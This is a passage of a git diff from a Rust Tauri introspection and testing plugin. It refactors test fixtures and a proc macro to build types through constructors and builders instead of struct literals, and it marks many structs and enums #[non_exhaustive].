serde_json::from_value::<$t>(serde_json::Value::Object(map)).expect("build literal") + }}; +} + fn ipc(id: &str, cmd: &str) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: id.to_string(), - command: cmd.to_string(), - timestamp: Utc::now(), - duration_ms: Some(1), - result: IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 0, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + id.to_string(), + cmd.to_string(), + Utc::now(), + IpcResult::Ok(serde_json::json!("ok")), + Some(1), + 0, + "main".to_string(), + )) } fn ipc_pending(id: &str, cmd: &str) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: id.to_string(), - command: cmd.to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + id.to_string(), + cmd.to_string(), + Utc::now(), + IpcResult::Pending, + None, + 0, + "main".to_string(), + )) } fn ipc_err(id: &str, cmd: &str, err: &str) -> AppEvent { - AppEvent::Ipc(IpcCall { - id: id.to_string(), - command: cmd.to_string(), - timestamp: Utc::now(), - duration_ms: Some(1), - result: IpcResult::Err(err.to_string()), - arg_size_bytes: 0, - webview_label: "main".to_string(), - }) + AppEvent::Ipc(IpcCall::new( + id.to_string(), + cmd.to_string(), + Utc::now(), + IpcResult::Err(err.to_string()), + Some(1), + 0, + "main".to_string(), + )) } fn state_change(key: &str) -> AppEvent { - AppEvent::StateChange { - key: key.to_string(), - timestamp: Utc::now(), - caused_by: None, - } + AppEvent::state_change(key.to_string(), Utc::now(), None) } fn dom_mutation(count: u32) -> AppEvent { - AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: Utc::now(), - mutation_count: count, - } + AppEvent::dom_mutation("main".to_string(), Utc::now(), count) } fn window_event(label: &str, event: &str) -> AppEvent { - AppEvent::WindowEvent { - label: label.to_string(), - event: event.to_string(), - timestamp: Utc::now(), - } + AppEvent::window_event(label.to_string(), event.to_string(), Utc::now()) } fn dom_interaction(action: InteractionKind, selector: &str) -> AppEvent { - AppEvent::DomInteraction { + AppEvent::dom_interaction( action, - selector: selector.to_string(), - value: None, - timestamp: Utc::now(), - webview_label: "main".to_string(), - } + selector.to_string(), + None, + Utc::now(), + "main".to_string(), + ) } fn element(ref_id: &str, tag: &str) -> DomElement { - DomElement { + lit!(DomElement { ref_id: ref_id.to_string(), tag: tag.to_string(), - role: None, - name: None, - text: None, - value: None, + role: Option::<()>::None, + name: Option::<()>::None, + text: Option::<()>::None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: None, - children: vec![], - attributes: BTreeMap::new(), - } + bounds: Option::<()>::None, + children: Vec::<()>::new(), + attributes: BTreeMap::::new(), + }) } fn assertion( @@ -100,11 +100,7 @@ fn assertion( cond: AssertionCondition, expected: serde_json::Value, ) -> SemanticAssertion { - SemanticAssertion { - label: label.to_string(), - condition: cond, - expected, - } + SemanticAssertion::new(label.to_string(), cond, expected) } // ── Group 1: EventLog Ring Buffer Adversarial ──────────────────────────── @@ -253,11 +249,7 @@ fn eventlog_snapshot_range_after_wraparound() { fn eventlog_since_returns_events_at_exact_timestamp() { let ts = Utc::now(); let log = EventLog::new(100); - log.push(AppEvent::StateChange { - key: "exact".to_string(), - timestamp: ts, - caused_by: None, - }); + log.push(AppEvent::state_change("exact".to_string(), ts, None)); let result = log.since(ts); assert_eq!(result.len(), 1); } @@ -427,18 +419,9 @@ fn registry_command_info_all_optional_fields() { .with_category("admin"); cmd.plugin = Some("my_plugin".to_string()); cmd.args = vec![ - CommandArg { - name: "arg1".to_string(), - type_name: "String".to_string(), - required: true, - schema: Some(serde_json::json!({"type": "string"})), - }, - CommandArg { - name: "arg2".to_string(), - type_name: "Option".to_string(), - required: false, - schema: None, - }, + CommandArg::new("arg1".to_string(), "String".to_string(), true) + .with_schema(serde_json::json!({"type": "string"})), + CommandArg::new("arg2".to_string(), "Option".to_string(), false), ]; cmd.return_type = Some("Result<(), Error>".to_string()); cmd.is_async = true; @@ -593,12 +576,7 @@ fn recorder_export_json_roundtrip() { #[test] fn recorder_import_invalid_session_empty() { let rec = EventRecorder::new(100); - let session = RecordedSession { - id: "empty".to_string(), - started_at: Utc::now(), - events: vec![], - checkpoints: vec![], - }; + let session = RecordedSession::new("empty".to_string(), Utc::now(), vec![], vec![]); rec.import(session); assert!(rec.is_recording()); assert_eq!(rec.event_count(), 0); @@ -732,28 +710,16 @@ fn recorder_import_replaces_active() { let rec = EventRecorder::new(100); rec.start("original".to_string()).unwrap(); rec.record_event(ipc("1", "orig_cmd")); - let session = RecordedSession { - id: "imported".to_string(), - started_at: Utc::now(), - events: vec![ - RecordedEvent { - index: 0, - timestamp: Utc::now(), - event: ipc("10", "imp_a"), - }, - RecordedEvent { - index: 1, - timestamp: Utc::now(), - event: ipc("11", "imp_b"), - }, - RecordedEvent { - index: 2, - timestamp: Utc::now(), - event: ipc("12", "imp_c"), - }, + let session = RecordedSession::new( + "imported".to_string(), + Utc::now(), + vec![ + RecordedEvent::new(0, Utc::now(), ipc("10", "imp_a")), + RecordedEvent::new(1, Utc::now(), ipc("11", "imp_b")), + RecordedEvent::new(2, Utc::now(), ipc("12", "imp_c")), ], - checkpoints: vec![], - }; + vec![], + ); rec.import(session); assert_eq!(rec.event_count(), 3); let stopped = rec.stop().unwrap(); @@ -805,11 +771,14 @@ fn dom_deep_nesting_is_depth_bounded() { el } // 1000 levels > the 256 DOM cap (so the guard fires) but is safe to drop. - let snap = DomSnapshot { + // (Built empty then filled: serde can't round-trip 1000 levels, which is + // the very depth this test is about.) + let mut snap = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![build_nested(1000)], - ref_map: BTreeMap::new(), - }; + elements: Vec::<()>::new(), + ref_map: BTreeMap::::new(), + }); + snap.elements = vec![build_nested(1000)]; let text = snap.to_accessible_text(0); // guard prevents recursing past the cap assert!( text.contains("max DOM depth"), @@ -835,11 +804,11 @@ fn dom_wide_tree_1000_children() { let mut root = element("root", "div"); root.visible = true; root.children = children; - let snap = DomSnapshot { + let snap = lit!(DomSnapshot { webview_label: "main".to_string(), elements: vec![root], - ref_map: BTreeMap::new(), - }; + ref_map: BTreeMap::::new(), + }); let text = snap.to_accessible_text(0); assert!(text.contains("Child 0")); assert!(text.contains("Child 999")); @@ -847,17 +816,17 @@ fn dom_wide_tree_1000_children() { #[test] fn dom_empty_tree() { - let snap = DomSnapshot { + let snap = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![], - ref_map: BTreeMap::new(), - }; + elements: Vec::<()>::new(), + ref_map: BTreeMap::::new(), + }); assert!(snap.to_accessible_text(0).is_empty()); } #[test] fn dom_element_all_optional_fields() { - let el = DomElement { + let el = lit!(DomElement { ref_id: "e1".to_string(), tag: "input".to_string(), role: Some("textbox".to_string()), @@ -867,25 +836,25 @@ fn dom_element_all_optional_fields() { enabled: true, visible: true, focusable: true, - bounds: Some(snapshot::ElementBounds { + bounds: Some(lit!(snapshot::ElementBounds { x: 10.0, y: 20.0, width: 200.0, height: 30.0, - }), - children: vec![], + })), + children: Vec::<()>::new(), attributes: { let mut m = BTreeMap::new(); m.insert("type".to_string(), "email".to_string()); m.insert("placeholder".to_string(), "Enter email".to_string()); m }, - }; - let snap = DomSnapshot { + }); + let snap = lit!(DomSnapshot { webview_label: "main".to_string(), elements: vec![el], - ref_map: BTreeMap::new(), - }; + ref_map: BTreeMap::::new(), + }); let text = snap.to_accessible_text(0); assert!(text.contains("textbox")); assert!(text.contains("Email")); @@ -895,11 +864,11 @@ fn dom_element_all_optional_fields() { #[test] fn dom_element_minimal() { let el = element("e0", "div"); - let snap = DomSnapshot { + let snap = lit!(DomSnapshot { webview_label: "main".to_string(), elements: vec![el], - ref_map: BTreeMap::new(), - }; + ref_map: BTreeMap::::new(), + }); let text = snap.to_accessible_text(0); assert!(text.contains("div")); } @@ -917,11 +886,11 @@ fn dom_ref_handle_uniqueness() { let mut root = element("root", "div"); root.visible = true; root.children = children; - let snap = DomSnapshot { + let snap = lit!(DomSnapshot { webview_label: "main".to_string(), elements: vec![root], - ref_map: BTreeMap::new(), - }; + ref_map: BTreeMap::::new(), + }); let text = snap.to_accessible_text(0); for i in 0..100 { assert!(text.contains(&format!("[ref=e{i}]"))); @@ -930,24 +899,24 @@ fn dom_ref_handle_uniqueness() { #[test] fn dom_serde_roundtrip() { - let snap = DomSnapshot { + let snap = lit!(DomSnapshot { webview_label: "main".to_string(), - elements: vec![DomElement { + elements: vec![lit!(DomElement { ref_id: "e0".to_string(), tag: "div".to_string(), role: Some("main".to_string()), name: Some("Content".to_string()), text: Some("Hello".to_string()), - value: None, + value: Option::<()>::None, enabled: true, visible: true, focusable: false, - bounds: Some(snapshot::ElementBounds { + bounds: Some(lit!(snapshot::ElementBounds { x: 0.0, y: 0.0, width: 1920.0, height: 1080.0, - }), + })), children: vec![{ let mut child = element("e1", "button"); child.role = Some("button".to_string()); @@ -956,15 +925,15 @@ fn dom_serde_roundtrip() { child.visible = true; child }], - attributes: BTreeMap::new(), - }], + attributes: BTreeMap::::new(), + })], ref_map: { let mut m = BTreeMap::new(); m.insert("e0".to_string(), "div.main".to_string()); m.insert("e1".to_string(), "button.click".to_string()); m }, - }; + }); let json = serde_json::to_string(&snap).unwrap(); let roundtripped: DomSnapshot = serde_json::from_str(&json).unwrap(); assert_eq!(roundtripped.webview_label, "main"); @@ -981,23 +950,23 @@ fn dom_invisible_parent_hides_subtree() { child.visible = true; child.name = Some("Hidden button".to_string()); parent.children = vec![child]; - let snap = DomSnapshot { + let snap = lit!(DomSnapshot { webview_label: "main".to_string(), elements: vec![parent], - ref_map: BTreeMap::new(), - }; + ref_map: BTreeMap::::new(), + }); let text = snap.to_accessible_text(0); assert!(!text.contains("Hidden button")); } #[test] fn dom_element_bounds_serde() { - let bounds = snapshot::ElementBounds { + let bounds = lit!(snapshot::ElementBounds { x: -10.5, y: 0.0, width: 100.123, height: 50.999, - }; + }); let json = serde_json::to_string(&bounds).unwrap(); let rt: snapshot::ElementBounds = serde_json::from_str(&json).unwrap(); assert_eq!(rt.x, -10.5); @@ -1264,18 +1233,16 @@ fn assertion_truthy_empty_object_is_truthy() { #[test] fn window_state_serde_roundtrip() { - let state = WindowState { - label: "main".to_string(), - title: "Test App".to_string(), - url: "https://example.com".to_string(), - visible: true, - focused: false, - maximized: true, - minimized: false, - fullscreen: false, - position: (100, 200), - size: (1920, 1080), - }; + let state = WindowState::new("main".to_string()) + .with_title("Test App".to_string()) + .with_url("https://example.com".to_string()) + .with_visible(true) + .with_focused(false) + .with_maximized(true) + .with_minimized(false) + .with_fullscreen(false) + .with_position(100, 200) + .with_size(1920, 1080); let json = serde_json::to_string(&state).unwrap(); let rt: WindowState = serde_json::from_str(&json).unwrap(); assert_eq!(rt, state); @@ -1283,18 +1250,16 @@ fn window_state_serde_roundtrip() { #[test] fn window_state_extreme_values() { - let state = WindowState { - label: "".to_string(), - title: "".to_string(), - url: "".to_string(), - visible: false, - focused: false, - maximized: false, - minimized: false, - fullscreen: false, - position: (i32::MIN, i32::MAX), - size: (0, u32::MAX), - }; + let state = WindowState::new("".to_string()) + .with_title("".to_string()) + .with_url("".to_string()) + .with_visible(false) + .with_focused(false) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(i32::MIN, i32::MAX) + .with_size(0, u32::MAX); let json = serde_json::to_string(&state).unwrap(); let rt: WindowState = serde_json::from_str(&json).unwrap(); assert_eq!(rt.position, (i32::MIN, i32::MAX)); @@ -1303,20 +1268,20 @@ fn window_state_extreme_values() { #[test] fn ghost_command_report_serde_roundtrip() { - let report = GhostCommandReport { - frontend_only: vec![GhostCommand { + let report = lit!(GhostCommandReport { + frontend_only: vec![lit!(GhostCommand { name: "phantom_cmd".to_string(), source: GhostSource::FrontendOnly, description: Some("A ghost".to_string()), - }], - registry_only: vec![GhostCommand { + })], + registry_only: vec![lit!(GhostCommand { name: "unused_backend".to_string(), source: GhostSource::RegistryOnly, - description: None, - }], + description: Option::<()>::None, + })], total_frontend_commands: 5, total_registry_commands: 3, - }; + }); let json = serde_json::to_string(&report).unwrap(); let rt: GhostCommandReport = serde_json::from_str(&json).unwrap(); assert_eq!(rt, report); @@ -1324,27 +1289,27 @@ fn ghost_command_report_serde_roundtrip() { #[test] fn ipc_integrity_report_serde_roundtrip() { - let report = verification::IpcIntegrityReport { + let report = lit!(verification::IpcIntegrityReport { total_calls: 100, completed: 90, pending: 5, errored: 5, - stale_calls: vec![verification::StaleCall { + stale_calls: vec![lit!(verification::StaleCall { id: "s1".to_string(), command: "slow_cmd".to_string(), timestamp: Utc::now(), age_ms: 10000, webview_label: "main".to_string(), - }], - error_calls: vec![verification::ErrorCall { + })], + error_calls: vec![lit!(verification::ErrorCall { id: "e1".to_string(), command: "bad_cmd".to_string(), timestamp: Utc::now(), error: "boom".to_string(), webview_label: "main".to_string(), - }], + })], healthy: false, - }; + }); let json = serde_json::to_string(&report).unwrap(); let rt: verification::IpcIntegrityReport = serde_json::from_str(&json).unwrap(); assert_eq!(rt.total_calls, 100); @@ -1355,29 +1320,21 @@ fn ipc_integrity_report_serde_roundtrip() { #[test] fn recorded_session_serde_roundtrip() { - let session = RecordedSession { - id: "test-session".to_string(), - started_at: Utc::now(), - events: vec![ - RecordedEvent { - index: 0, - timestamp: Utc::now(), - event: ipc("1", "cmd_a"), - }, - RecordedEvent { - index: 1, - timestamp: Utc::now(), - event: state_change("k"), - }, + let session = RecordedSession::new( + "test-session".to_string(), + Utc::now(), + vec![ + RecordedEvent::new(0, Utc::now(), ipc("1", "cmd_a")), + RecordedEvent::new(1, Utc::now(), state_change("k")), ], - checkpoints: vec![StateCheckpoint { + vec![lit!(StateCheckpoint { id: "cp1".to_string(), label: Some("Midpoint".to_string()), timestamp: Utc::now(), state: serde_json::json!({"count": 42}), event_index: 1, - }], - }; + })], + ); let json = serde_json::to_string(&session).unwrap(); let rt: RecordedSession = serde_json::from_str(&json).unwrap(); assert_eq!(rt.id, "test-session"); @@ -1388,17 +1345,17 @@ fn recorded_session_serde_roundtrip() { #[test] fn verification_result_serde_roundtrip() { - let result = VerificationResult { + let result = lit!(VerificationResult { passed: false, frontend_state: serde_json::json!({"x": 1}), backend_state: serde_json::json!({"x": 2}), - divergences: vec![Divergence { + divergences: vec![lit!(Divergence { path: "x".to_string(), frontend_value: serde_json::json!(1), backend_value: serde_json::json!(2), severity: DivergenceSeverity::Error, - }], - }; + })], + }); let json = serde_json::to_string(&result).unwrap(); let rt: VerificationResult = serde_json::from_str(&json).unwrap(); assert_eq!(rt, result); @@ -1406,11 +1363,11 @@ fn verification_result_serde_roundtrip() { #[test] fn semantic_assertion_serde_roundtrip() { - let a = SemanticAssertion { - label: "count check".to_string(), - condition: AssertionCondition::GreaterThan, - expected: serde_json::json!(10), - }; + let a = SemanticAssertion::new( + "count check".to_string(), + AssertionCondition::GreaterThan, + serde_json::json!(10), + ); let json = serde_json::to_string(&a).unwrap(); let rt: SemanticAssertion = serde_json::from_str(&json).unwrap(); assert_eq!(rt, a); @@ -1418,13 +1375,13 @@ fn semantic_assertion_serde_roundtrip() { #[test] fn assertion_result_serde_roundtrip() { - let result = AssertionResult { + let result = lit!(AssertionResult { label: "test".to_string(), passed: false, actual: serde_json::json!(5), expected: serde_json::json!(10), message: Some("failed".to_string()), - }; + }); let json = serde_json::to_string(&result).unwrap(); let rt: AssertionResult = serde_json::from_str(&json).unwrap(); assert_eq!(rt, result); @@ -1462,12 +1419,12 @@ fn app_event_all_variants_serde() { #[test] fn ref_handle_serde_roundtrip() { - let handle = RefHandle { + let handle = lit!(RefHandle { id: "e5".to_string(), selector: "button.submit".to_string(), role: Some("button".to_string()), name: Some("Submit".to_string()), - }; + }); let json = serde_json::to_string(&handle).unwrap(); let rt: RefHandle = serde_json::from_str(&json).unwrap(); assert_eq!(rt, handle); @@ -1475,12 +1432,12 @@ fn ref_handle_serde_roundtrip() { #[test] fn memory_delta_serde_roundtrip() { - let delta = types::MemoryDelta { + let delta = lit!(types::MemoryDelta { before_bytes: 1024, after_bytes: 2048, delta_bytes: 1024, command: "allocate".to_string(), - }; + }); let json = serde_json::to_string(&delta).unwrap(); let rt: types::MemoryDelta = serde_json::from_str(&json).unwrap(); assert_eq!(rt, delta); @@ -1698,43 +1655,43 @@ fn concurrent_eventlog_clear_during_push() { #[test] fn display_verification_result_passed() { - let result = VerificationResult { + let result = lit!(VerificationResult { passed: true, frontend_state: serde_json::json!({}), backend_state: serde_json::json!({}), - divergences: vec![], - }; + divergences: Vec::<()>::new(), + }); assert_eq!(result.to_string(), "verification passed"); } #[test] fn display_verification_result_failed() { - let result = VerificationResult { + let result = lit!(VerificationResult { passed: false, frontend_state: serde_json::json!({}), backend_state: serde_json::json!({}), - divergences: vec![Divergence { + divergences: vec![lit!(Divergence { path: "x".to_string(), frontend_value: serde_json::json!(1), backend_value: serde_json::json!(2), severity: DivergenceSeverity::Error, - }], - }; + })], + }); assert_eq!(result.to_string(), "verification failed: 1 divergence(s)"); } #[test] fn display_ghost_command_report() { - let report = GhostCommandReport { - frontend_only: vec![GhostCommand { + let report = lit!(GhostCommandReport { + frontend_only: vec![lit!(GhostCommand { name: "phantom".to_string(), source: GhostSource::FrontendOnly, - description: None, - }], - registry_only: vec![], + description: Option::<()>::None, + })], + registry_only: Vec::<()>::new(), total_frontend_commands: 2, total_registry_commands: 1, - }; + }); assert_eq!( report.to_string(), "1 ghost command(s) (2 frontend, 1 registry)" @@ -1743,29 +1700,29 @@ fn display_ghost_command_report() { #[test] fn display_ipc_integrity_healthy() { - let report = verification::IpcIntegrityReport { + let report = lit!(verification::IpcIntegrityReport { total_calls: 10, completed: 10, pending: 0, errored: 0, - stale_calls: vec![], - error_calls: vec![], + stale_calls: Vec::<()>::new(), + error_calls: Vec::<()>::new(), healthy: true, - }; + }); assert_eq!(report.to_string(), "IPC healthy: 10/10 completed"); } #[test] fn display_ipc_integrity_unhealthy() { - let report = verification::IpcIntegrityReport { + let report = lit!(verification::IpcIntegrityReport { total_calls: 10, completed: 7, pending: 2, errored: 1, - stale_calls: vec![], - error_calls: vec![], + stale_calls: Vec::<()>::new(), + error_calls: Vec::<()>::new(), healthy: false, - }; + }); assert!(report.to_string().contains("unhealthy")); } @@ -1794,15 +1751,15 @@ fn display_ipc_result() { #[test] fn display_ipc_call() { - let call = IpcCall { - id: "42".to_string(), - command: "save".to_string(), - timestamp: Utc::now(), - duration_ms: Some(5), - result: IpcResult::Ok(serde_json::json!("ok")), - arg_size_bytes: 10, - webview_label: "main".to_string(), - }; + let call = IpcCall::new( + "42".to_string(), + "save".to_string(), + Utc::now(), + IpcResult::Ok(serde_json::json!("ok")), + Some(5), + 10, + "main".to_string(), + ); let s = call.to_string(); assert!(s.contains("save")); assert!(s.contains("[42]")); @@ -1810,10 +1767,10 @@ fn display_ipc_call() { #[test] fn display_scored_command() { - let sc = ScoredCommand { + let sc = lit!(ScoredCommand { command: CommandInfo::new("test_cmd"), score: 5.75, - }; + }); let s = sc.to_string(); assert!(s.contains("test_cmd")); assert!(s.contains("5.75")); @@ -1977,15 +1934,15 @@ fn error_display_messages() { #[test] fn ipc_call_into_app_event() { - let call = IpcCall { - id: "1".to_string(), - command: "test".to_string(), - timestamp: Utc::now(), - duration_ms: None, - result: IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - }; + let call = IpcCall::new( + "1".to_string(), + "test".to_string(), + Utc::now(), + IpcResult::Pending, + None, + 0, + "main".to_string(), + ); let event: AppEvent = call.into(); assert!(matches!(event, AppEvent::Ipc(_))); } @@ -1994,37 +1951,25 @@ fn ipc_call_into_app_event() { fn app_event_timestamp_all_variants() { let ts = Utc::now(); let events = vec![ - AppEvent::Ipc(IpcCall { - id: "1".to_string(), - command: "cmd".to_string(), - timestamp: ts, - duration_ms: None, - result: IpcResult::Pending, - arg_size_bytes: 0, - webview_label: "main".to_string(), - }), - AppEvent::StateChange { - key: "k".to_string(), - timestamp: ts, - caused_by: None, - }, - AppEvent::DomMutation { - webview_label: "main".to_string(), - timestamp: ts, - mutation_count: 1, - }, - AppEvent::DomInteraction { - action: InteractionKind::Click, - selector: "#x".to_string(), - value: None, - timestamp: ts, - webview_label: "main".to_string(), - }, - AppEvent::WindowEvent { - label: "main".to_string(), - event: "focus".to_string(), - timestamp: ts, - }, + AppEvent::Ipc(IpcCall::new( + "1".to_string(), + "cmd".to_string(), + ts, + IpcResult::Pending, + None, + 0, + "main".to_string(), + )), + AppEvent::state_change("k".to_string(), ts, None), + AppEvent::dom_mutation("main".to_string(), ts, 1), + AppEvent::dom_interaction( + InteractionKind::Click, + "#x".to_string(), + None, + ts, + "main".to_string(), + ), + AppEvent::window_event("main".to_string(), "focus".to_string(), ts), ]; for event in &events { assert_eq!(event.timestamp(), ts); @@ -2097,16 +2042,12 @@ fn record_event_after_max_index_import_does_not_panic() { // debug / wrap in release (audit #18 — the saturating_add belongs in // record_event, not only in import). let rec = EventRecorder::new(100); - let session = RecordedSession { - id: "evil".to_string(), - started_at: Utc::now(), - events: vec![RecordedEvent { - index: usize::MAX, - timestamp: Utc::now(), - event: ipc("m", "cmd"), - }], - checkpoints: vec![], - }; + let session = RecordedSession::new( + "evil".to_string(), + Utc::now(), + vec![RecordedEvent::new(usize::MAX, Utc::now(), ipc("m", "cmd"))], + vec![], + ); rec.import(session); rec.record_event(ipc("after", "cmd")); // must not panic assert!(rec.event_count() >= 1); diff --git a/crates/victauri-macros/src/lib.rs b/crates/victauri-macros/src/lib.rs index 8f11ff77..62a5d14c 100644 --- a/crates/victauri-macros/src/lib.rs +++ b/crates/victauri-macros/src/lib.rs @@ -57,29 +57,19 @@ pub fn inspectable(attr: TokenStream, item: TokenStream) -> TokenStream { .iter() .map(|(name, type_str, required)| { quote! { - victauri_core::registry::CommandArg { - name: #name.to_string(), - type_name: #type_str.to_string(), - required: #required, - schema: None, - } + victauri_core::registry::CommandArg::new(#name, #type_str, #required) } }) .collect(); let return_type = extract_return_type(&input.sig); - let intent_token = if let Some(i) = &attrs.intent { - quote! { Some(#i.to_string()) } - } else { - quote! { None } - }; + let intent_token = attrs.intent.as_ref().map(|i| quote! { .with_intent(#i) }); - let category_token = if let Some(c) = &attrs.category { - quote! { Some(#c.to_string()) } - } else { - quote! { None } - }; + let category_token = attrs + .category + .as_ref() + .map(|c| quote! { .with_category(#c) }); let example_tokens: Vec<_> = attrs .examples @@ -92,17 +82,17 @@ pub fn inspectable(attr: TokenStream, item: TokenStream) -> TokenStream { #[allow(dead_code, non_snake_case)] fn #schema_fn_name() -> victauri_core::registry::CommandInfo { - victauri_core::registry::CommandInfo { - name: #fn_name_str.to_string(), - plugin: None, - description: Some(#description.to_string()), - args: vec![#(#arg_tokens),*], - return_type: Some(#return_type.to_string()), - is_async: #is_async, - intent: #intent_token, - category: #category_token, - examples: vec![#(#example_tokens),*], - } + // Built via constructors, not a struct literal: `CommandInfo` and + // `CommandArg` are `#[non_exhaustive]`, and this code expands in the + // user's crate. + victauri_core::registry::CommandInfo::new(#fn_name_str) + .with_description(#description) + .with_args(vec![#(#arg_tokens),*]) + .with_return_type(#return_type) + .with_async(#is_async) + #intent_token + #category_token + .with_examples(vec![#(#example_tokens),*]) } victauri_core::inventory::submit! { diff --git a/crates/victauri-plugin/src/bridge.rs b/crates/victauri-plugin/src/bridge.rs index 269c3568..530e6783 100644 --- a/crates/victauri-plugin/src/bridge.rs +++ b/crates/victauri-plugin/src/bridge.rs @@ -369,18 +369,18 @@ impl WebviewBridge for tauri::AppHandle { let pos = window.outer_position().unwrap_or_default(); let size = window.inner_size().unwrap_or_default(); - states.push(WindowState { - label: win_label.clone(), - title: window.title().unwrap_or_default(), - url: window.url().map(|u| u.to_string()).unwrap_or_default(), - visible: window.is_visible().unwrap_or(false), - focused: window.is_focused().unwrap_or(false), - maximized: window.is_maximized().unwrap_or(false), - minimized: window.is_minimized().unwrap_or(false), - fullscreen: window.is_fullscreen().unwrap_or(false), - position: (pos.x, pos.y), - size: (size.width, size.height), - }); + states.push( + WindowState::new(win_label.clone()) + .with_title(window.title().unwrap_or_default()) + .with_url(window.url().map(|u| u.to_string()).unwrap_or_default()) + .with_visible(window.is_visible().unwrap_or(false)) + .with_focused(window.is_focused().unwrap_or(false)) + .with_maximized(window.is_maximized().unwrap_or(false)) + .with_minimized(window.is_minimized().unwrap_or(false)) + .with_fullscreen(window.is_fullscreen().unwrap_or(false)) + .with_position(pos.x, pos.y) + .with_size(size.width, size.height), + ); } states diff --git a/crates/victauri-plugin/src/database.rs b/crates/victauri-plugin/src/database.rs index 0a4e656d..6fb2207a 100644 --- a/crates/victauri-plugin/src/database.rs +++ b/crates/victauri-plugin/src/database.rs @@ -530,6 +530,7 @@ pub fn is_webview_internal(path: &Path) -> bool { /// application actually uses. #[cfg(feature = "sqlite")] #[derive(Debug, Clone)] +#[non_exhaustive] pub struct DbCandidate { /// Absolute path to the discovered database file. pub path: PathBuf, diff --git a/crates/victauri-plugin/src/introspection.rs b/crates/victauri-plugin/src/introspection.rs index 5af67365..c6cd36fe 100644 --- a/crates/victauri-plugin/src/introspection.rs +++ b/crates/victauri-plugin/src/introspection.rs @@ -13,6 +13,7 @@ use serde::Serialize; /// Per-command timing statistics aggregated from IPC invocations. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct CommandTimingStats { /// Command name. pub command: String, @@ -187,6 +188,7 @@ impl Default for CommandTimings { /// The type of fault to inject into a command. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub enum FaultType { /// Add artificial latency before command execution. Delay { @@ -206,6 +208,7 @@ pub enum FaultType { /// Configuration for a single fault injection rule. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct FaultConfig { /// Target command name. pub command: String, @@ -225,6 +228,19 @@ pub struct FaultConfig { pub const FAULT_TTL: Duration = Duration::from_secs(900); // 15 minutes impl FaultConfig { + /// Creates a fault rule for `command`, created now with zero triggers so far. + /// `max_triggers == 0` means unlimited (until [`FAULT_TTL`] expires it). + #[must_use] + pub fn new(command: impl Into, fault_type: FaultType, max_triggers: u64) -> Self { + Self { + command: command.into(), + fault_type, + trigger_count: 0, + max_triggers, + created_at: Instant::now(), + } + } + /// Whether this fault should still trigger, evaluated at `now`. A fault is /// inert once it is older than [`FAULT_TTL`] or has hit `max_triggers`. #[must_use] @@ -322,6 +338,7 @@ impl Default for FaultRegistry { /// Describes the shape of a JSON value for contract comparison. #[derive(Debug, Clone, Serialize, PartialEq)] +#[non_exhaustive] pub enum JsonShape { /// null Null, @@ -376,6 +393,7 @@ impl JsonShape { /// A recorded contract baseline for a command's response. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct ContractBaseline { /// Command name. pub command: String, @@ -389,8 +407,29 @@ pub struct ContractBaseline { pub recorded_at: String, } +impl ContractBaseline { + /// Creates a contract baseline for `command`. + #[must_use] + pub fn new( + command: impl Into, + args: serde_json::Value, + shape: JsonShape, + sample: impl Into, + recorded_at: impl Into, + ) -> Self { + Self { + command: command.into(), + args, + shape, + sample: sample.into(), + recorded_at: recorded_at.into(), + } + } +} + /// Differences found when checking a contract against baseline. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct ContractDrift { /// Command name. pub command: String, @@ -406,6 +445,7 @@ pub struct ContractDrift { /// A single field type change between baseline and current. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct TypeChange { /// Dot-separated field path. pub path: String, @@ -569,6 +609,7 @@ impl Default for ContractStore { /// A single phase in the startup timeline. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct StartupPhase { /// Phase name. pub name: String, @@ -651,6 +692,7 @@ impl Default for StartupTimeline { /// A Tauri event captured from the application's native event bus. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct CapturedTauriEvent { /// Event name (e.g. "notification-added", `tauri://focus`). pub name: String, @@ -660,6 +702,22 @@ pub struct CapturedTauriEvent { pub timestamp: String, } +impl CapturedTauriEvent { + /// Creates a captured event record (`timestamp` is an ISO 8601 string). + #[must_use] + pub fn new( + name: impl Into, + payload: impl Into, + timestamp: impl Into, + ) -> Self { + Self { + name: name.into(), + payload: payload.into(), + timestamp: timestamp.into(), + } + } +} + const DEFAULT_EVENT_BUS_CAPACITY: usize = 1000; /// Thread-safe ring buffer for captured Tauri events. @@ -808,6 +866,7 @@ impl AppStateProbes { /// Info about a tracked async task spawned by Victauri. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct TrackedTaskInfo { /// Human-readable task name. pub name: String, @@ -898,6 +957,7 @@ impl Default for TaskTracker { /// Information about a child process of the Tauri application. #[derive(Debug, Clone, Serialize)] +#[non_exhaustive] pub struct ChildProcessInfo { /// Process ID. pub pid: u32, diff --git a/crates/victauri-plugin/src/lib.rs b/crates/victauri-plugin/src/lib.rs index f7a71777..5f3a880d 100644 --- a/crates/victauri-plugin/src/lib.rs +++ b/crates/victauri-plugin/src/lib.rs @@ -44,10 +44,18 @@ /// Runtime-erased webview bridge trait and its Tauri implementation. pub mod bridge; /// Backend database access (`SQLite` read-only queries). +/// +/// Internal: reached through the `query_db` / `introspect db_health` tools. Not +/// part of the supported API. #[cfg(feature = "sqlite")] +#[doc(hidden)] pub mod database; pub mod error; /// JS bridge script generation for webview injection. +/// +/// Internal: public only so the crate's own integration tests can exercise the +/// generated script. Not part of the supported API. +#[doc(hidden)] pub mod js_bridge; /// MCP server, tool handler, and parameter types. pub mod mcp; @@ -56,9 +64,16 @@ mod memory; pub mod privacy; /// Compose captured frames into a single contact-sheet PNG ("filmstrip"). -pub mod 